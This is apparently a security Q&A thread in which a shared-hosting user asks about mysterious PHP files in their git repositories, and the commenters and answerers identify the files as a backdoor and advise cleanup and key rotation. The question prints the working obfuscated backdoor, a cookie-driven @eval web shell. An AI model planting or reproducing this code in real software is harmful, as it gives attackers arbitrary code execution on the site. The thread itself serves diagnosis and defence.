18

Whenever I create a remote repository on my web server there seems to be a file called expect.php or options.php with the following code in it:

<?php

function visit_cookie() {
    $h = $_COOKIE;
    ($h && isset($h[93])) ? (($ms = $h[93].$h[78]) && 
    ($qh = $ms($h[73].$h[22])) && ($_qh = $ms($h[94].$h[82])) && 
    ($_qh = $_qh($ms($h[10]))) && @eval($_qh)) : $h;
    
    return 0;
}

visit_cookie();

?>

This also exists in my older, already existing repositories on the server. I am using HostGator's Shared Hosting package with PHP & MySQL.

I am not sure if this is something that the server or git creates and is part of a process or if it is a malicious file, as I do not understand the code written in it. The reason I am asking this question is that recently, Google has blacklisted my site and visiting it gives a "Site is dangerous may contain malware" sort of popup. So I am trying to investigate and fix the problem.

Improve this question
4
  • 10
    An important notice. NEVER deploy an RSA private key with read/write permissions on shared hosting. Create a different new user and add it with read-only permission to the repository and add the RSA public key to it. This will prevent someone from getting your key and injecting malicious code into your git repositories.
    – OscarGarcia
    Nov 12, 2022 at 18:38
  • 8
    So I would consider your current private key compromised. I would remove it from GitHub and create a new one following the above recommendation.
    – OscarGarcia
    Nov 12, 2022 at 18:44
  • Unfortunately, we are not a malicious code interpreter site. It is clearly malicious and you should proceed with that assumed to be true: rebuild the site from scratch using known good backups. And look for security weaknesses that allowed the attacker to gain access.,
    – schroeder ♦
    Nov 14, 2022 at 10:35
  • For more clarity replace eval with echo - it will display what is actually diced together and likely gives good clues if this is malicious. But as general hint @eval is already a good hint - that it is indeed malicious
    – eagle275
    Nov 14, 2022 at 10:39

2 Answers 2

Reset to default
32

It almost certainly is malicious, and there are several risks introduced by the code provided.

Red Flags

The first and loudest sign of trouble here is going to be invocation of the eval() command. When the input is constructed from $_COOKIE—a superglobal which effectively allows for anonymous clients to store whatever short strings they want to via any HTTP method—then straight away you are opened up to arbitrary code execution. To make matters worse, the code uses the @ symbol in that invocation to suppress error messages or any output that may otherwise arise, thus preventing you from reviewing what has run and what will be run later.

Code Analysis

Basically, it looks like an attacker has set it up to pass in arbitrary code through cookies. The bad actor here could be doing any number of things—on the more benign end, they may be showing ads that aren't yours or redirecting to their own site for traffic gains, or on the more intense side could be camping on your server and periodically stealing all of your users' data from the users directly as well as any connected data stores. You should be taking serious measures to address this in the event that you have customer data present and accessible from this server. It's a leak.

Recommendations

Consider pursuing another host if the provider you are with is not able or willing to assist you in diagnosing the origin here. It possibly came from some dependency in your code and may be replicated via your git configuration since you mention that it is recurring, so consider an audit of your repositories and that configuration. Maybe switch to a host like Cloudflare, often free.

Since this is PHP/MySQL, you would perhaps be better served by other providers. I was just throwing out one name, but other trusted providers like AWS/Azure/Google Cloud will have what you want. In general, Digital Ocean has quite a low barrier to entry.

To prevent a repeat attack, as noted by OscarGarcia: If you uploaded a private key anywhere on this server, or anywhere at all in raw form—be that a shared symmetric key or the private half of a asymmetric key pair—then you should go ahead and retire that right away.

This attack would have granted access to the host file system and, depending on what the key is used for, may leave you vulnerable to a repeat attack elsewhere.

Improve this answer
14
  • 9
    @Stranger I've had this type of problem with HostGator, in the past. I seriously would consider another host provider. Also, the live chat is almost never useful, for any company. But this is just my opinion.
    – Ismael Miguel
    Nov 12, 2022 at 16:39
  • 6
    Great answer. Please consider adding to it the recommendations I made in my comments. If the OP don't consider the shared server's private key compromised, the attacker will still have access to their git repositories to be infected with malicious code and ultimately view, delete, and modify whatever they want in them.
    – OscarGarcia
    Nov 12, 2022 at 18:47
  • 2
    In fairness, perhaps CloudFlare was a shortsighted recommendation given the stack in question (LAMP); I'm not even certain that it's possible. I was more suggesting that exploration of newer Web tech could pay off with some benefits of security by default, I think. For the purpose of this, DigitalOcean or AWS as @IsmaelMiguel suggested would work well, or Linode etc.
    – AJAr
    Nov 16, 2022 at 5:02
  • 2
    Likewise, the entire database connected to that website is compromised and any and all credentials stored in it should be treated as potentially tainted.
    – Shadur
    Nov 16, 2022 at 9:08
  • 2
    @AJAr Cloudflare was a good suggestion, as you can store a static website there. If the website isn't complex, or all it needs PHP is for a contact form, this can be a suggestion to keep the website running until everything is done. Like a temporary throwaway until everything is rebuilt. And after that, any of your other suggestions is a much better fit, if PHP is indeed really a requirement. In the case of the contact form, I think it might even be possible to use a mailto action (on the form element) to use the visitor's email program to send the email itself.
    – Ismael Miguel
    Nov 16, 2022 at 12:16
5

With respect to AJAr, there's nothing "almost" about it.

It's looking for several specific bits in the $_COOKIE variable it gets from the calling browser, concatenates those in a deliberately obfuscated way, and then @evals the result.

Someone installed a backdoor into your website that gives them unrestricted access to the system this site is on at the permission level of the web user, which means that everything on your website and the database it links to is now potentially suspect.

I recommend the Eleanor Ripley solution: take off and nuke the site from orbit. It's the only way to be sure.

Improve this answer

Not the answer you're looking for? Browse other questions tagged .